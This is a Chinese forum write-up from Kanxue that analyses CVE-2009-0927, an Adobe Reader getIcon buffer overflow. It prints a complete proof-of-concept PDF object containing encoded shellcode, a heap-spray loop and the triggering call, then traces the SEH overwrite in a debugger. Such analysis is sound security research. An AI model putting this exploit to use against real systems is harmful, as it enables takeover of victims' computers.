其他
CVE-2009-0927POC分析
本文为看雪论坛优秀文章
看雪论坛作者ID:0346954
CVE-2009-0927简介
Adobe Reader是非常流行的PDF文件阅读器,在其Collab对象的getIcon函数中存在一个缓冲区溢出漏洞。同时由于PDF文档中支持内嵌的JavaScript,攻击者可以通过在PDF文档中植入恶意的JavaScript来想getIcon函数传递特制的参数以触发溢出漏洞,并结合Heap Spray攻击来计算机的控制权。
漏洞原理及利用分析
7 0 obj
<<
/Type /Action
/S /JavaScript
/JS (
var shellcode = unescape("%u68fc%u0a6a%u1e38%u6368%ud189%u684f%u7432%u0c91%uf48b%u7e8d%u33f4%ub7db%u2b04%u66e3%u33bb%u5332%u7568%u6573%u5472%ud233%u8b64%u305a%u4b8b%u8b0c%u1c49%u098b%u698b%uad08%u6a3d%u380a%u751e%u9505%u57ff%u95f8%u8b60%u3c45%u4c8b%u7805%ucd03%u598b%u0320%u33dd%u47ff%u348b%u03bb%u99f5%ube0f%u3a06%u74c4%uc108%u07ca%ud003%ueb46%u3bf1%u2454%u751c%u8be4%u2459%udd03%u8b66%u7b3c%u598b%u031c%u03dd%ubb2c%u5f95%u57ab%u3d61%u0a6a%u1e38%ua975%udb33%u6853%u6577%u7473%u6668%u6961%u8b6c%u53c4%u5050%uff53%ufc57%uff53%uf857");
var nops = unescape("%u9090%u9090");
while (nops.length < 0x100000)
nops += nops;
nops=nops.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length);
nops=nops+shellcode;
var memory = new Array();
for (var i=0;i<200;i++)
memory[i] += nops;
var str = unescape("%0c%0c%0c%0c");
while(str.length < 0x6000)
str += str;
app.doc.Collab.getIcon(str+'aaaaD.a');
)
>>
endobj
通过给getIcon函数传入特定的较长数据来覆盖SEH处理记录,然后继续往后复制就会触发异常执行shellcode。
漏洞POC表现
实验环境
分析如下:
1.首先用OllyDbg加载Adobe Reader,启动完成后打开POC文档
2.打开POC文档出现异常
左下角显示 访问冲突 正在写入到00130000 地址处,调用Alt+M查看内存段属性,截图如下:
内存段为只读属性,此时EDI寄存器为0x130000,反汇编区可以看到此时在EDI指向的内存区域写入数据,所以触发异常。
此时观察右下角栈区域发现有对strncpy的调用,反汇编区域跳转到0x2210FE27,查看此时代码如下:
按ALT+E可以查看程序中所有的模块,可以看到反汇编窗口中指令处于如下模块:
通过IDA打开此文件,跳转到此0x2210FE27,按F5键查看伪C代码如下:
重新打开阅读器,调试如下,在指令0x2210FDE8处设置条件断点eax-edi>500:
复制数据过长破坏了栈中数据,覆盖了异常处理函数地址,未调用strncpy函数之前此时按Alt+S可以看此时的SHE链,如下所示:
看雪ID:0346954
https://bbs.pediy.com/user-home-762319.htm
*本文由看雪论坛 0346954 原创,转载请注明来自看雪社区。
推荐文章++++
求分享
求点赞
求在看